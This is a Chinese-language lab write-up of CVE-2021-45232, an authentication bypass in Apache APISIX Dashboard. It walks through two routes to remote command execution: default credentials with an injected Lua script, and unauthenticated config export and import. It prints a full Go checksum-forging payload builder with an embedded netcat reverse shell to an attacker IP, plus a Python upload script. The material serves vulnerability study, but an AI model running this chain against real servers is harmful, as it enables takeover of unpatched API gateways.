首頁 > 軟體

Apache APISIX Dashboard 未授權存取漏洞分析(CVE-2021-45232)

2023-03-17 06:07:01

宣告:本文僅供學習參考,其中涉及的一切資源均來源於網路,請勿用於任何非法行為,否則您將自行承擔相應後果,本人不承擔任何法律及連帶責任。

漏洞描述

Apache APISIX 是一個動態、實時、高效能的 API 閘道器, 提供負載均衡、動態上游、灰度釋出、服務熔斷、身份認證、可觀測性等豐富的流量管理功能。Apache APISIX Dashboard 使使用者可通過前端介面操作 Apache APISIX。該漏洞的存在是由於 Manager API 中的錯誤。Manager API 在 gin 框架的基礎上引入了 droplet 框架,所有的 API 和鑑權中介軟體都是基於 droplet 框架開發的。但是有些 API 直接使用了框架 gin 的介面,從而繞過身份驗證。

影響範圍

Apache APISIX Dashboard < 2.10.1

環境部署

通過git clone apisix-docker

git clone https://github.com/apache/apisix-docker
cd apisix-docker/example/

修改docker-compose.yml

apache/apisix-dashboard:2.7
apache/apisix:2.6-alpine


然後,docker-compose up -d 啟動環境

環境起來後,瀏覽器通過預設埠9000存取apisix dashboard

後臺RCE

由於apisix dashboard 預設賬號和密碼是admin:admin,所以我們先登入到後臺,來驗證一把遠端命令執行

首先建立一個上游服務,點選建立,名稱隨意命名,目標節點填寫我們轉發請求的服務,這裡我們填寫docker附帶的Grafana應用,埠號為3000,點選下一步,提交即可。

其次,建立一個路由,名稱任意起,路徑也是自定義,點選下一步,選擇我們剛才建立的上游服務,最後,提交即可。

檢視建立的路由

回到路由設定頁面,點選設定,然後一直下一步,直到提交時,使用BurpSuite抓包

然後在請求包的body中,新增一個script欄位後,傳送請求。

"script": "os.execute('touch /tmp/Keepb1ue')"

再次檢視,路由設定資訊

接著,我們存取一下: http://192.168.10.171:9080/rce111

docker中看一下,是否建立了Keepblue這個檔案

未授權介面RCE

如果沒有預設密碼或者弱密碼的話,這時我們就利用未授權介面進行RCE了

/apisix/admin/migrate/export
/apisix/admin/migrate/import

首先,使用/apisix/admin/migrate/export匯出組態檔

因為是未授權,所以在未登陸情況下,BP抓包後,請求介面改為/apisix/admin/migrate/export,點選send後,看到組態檔資訊

在匯入組態檔時,會對組態檔的checksum值進行校驗,那這裡其實是可以通過寫指令碼算出checksum校驗值,或者是根據apisix的原始碼去計算出新的checksum值

原始碼位置在:apisix-dashboard-masterapiinternalhandlermigratemigrate.go的ExportConfig函數將其計算原始碼單獨抽取出來,並將需要匯入的設定(data)進修替換和插入RCE語句

package main

import (
    "encoding/binary"
    "fmt"
    "hash/crc32"
    "io/ioutil"
    "os"
)
func main() {
    gen()
}
func gen() {
    data := []byte(`{"Counsumers":[],"Routes":[{"id":"403141558204891851","create_time":1649820693,"update_time":1649821490,"uris":["/rce111"],"name":"lyroute","methods":["GET","POST","PUT","DELETE","PATCH","HEAD","OPTIONS","CONNECT","TRACE"],"script":"os.execute('nc 192.168.8.14 2333 -e /bin/bash')","script_id":"403141558204891851","upstream_id":"403140847589130955","status":1}],"Services":[],"SSLs":[],"Upstreams":[{"id":"403140847589130955","create_time":1649820270,"update_time":1649820270,"nodes":[{"host":"192.168.10.171","port":3000,"weight":1}],"timeout":{"connect":6,"read":6,"send":6},"type":"roundrobin","scheme":"http","pass_host":"pass","name":"lytest"}],"Scripts":[{"id":"403141558204891851","script":"os.execute('nc 192.168.8.14 2333 -e /bin/bash')"}],"GlobalPlugins":[],"PluginConfigs":[]}`)
    checksumUint32 := crc32.ChecksumIEEE(data)
    checksumLength := 4
    checksum := make([]byte, checksumLength)
    binary.BigEndian.PutUint32(checksum, checksumUint32)
    fileBytes := append(data, checksum...)

    content := fileBytes
    fmt.Println(content)

    importData := content[:len(content)-4]
    checksum2 := binary.BigEndian.Uint32(content[len(content)-4:])
    if checksum2 != crc32.ChecksumIEEE(importData) {
        fmt.Println(checksum2)
        fmt.Println(crc32.ChecksumIEEE(importData))
        fmt.Println("Check sum check fail, maybe file broken")
        return
    }
    err := ioutil.WriteFile("apisixPayload", content, os.ModePerm)
    if err != nil {
        fmt.Println("error!!")
        return
    }
}

執行這段指令碼,會生成apisixPayload這個檔案

這個就是我們要import上去的計算好校驗值的新的組態檔,接下來使用python程式碼可以簡單的傳到伺服器端

import requests
url = "http://192.168.10.171:9000/apisix/admin/migrate/import"
files = {"file": open("apisixPayload", "rb")}
r = requests.post(url, data={"mode": "overwrite"}, files=files)
print(r.status_code)
print(r.content)

在攻擊機上,開啟nc監聽

接下來,存取路由地址(http://192.168.10.171:9080/rce111),觸發遠端命令執行

檢視nc反彈shell

反彈成功,說明命令已經執行

到此這篇關於Apache APISIX Dashboard 未授權存取漏洞(CVE-2021-45232)的文章就介紹到這了,更多相關Apache APISIX Dashboard 未授權存取漏洞內容請搜尋it145.com以前的文章或繼續瀏覽下面的相關文章希望大家以後多多支援it145.com!


IT145.com E-mail:sddin#qq.com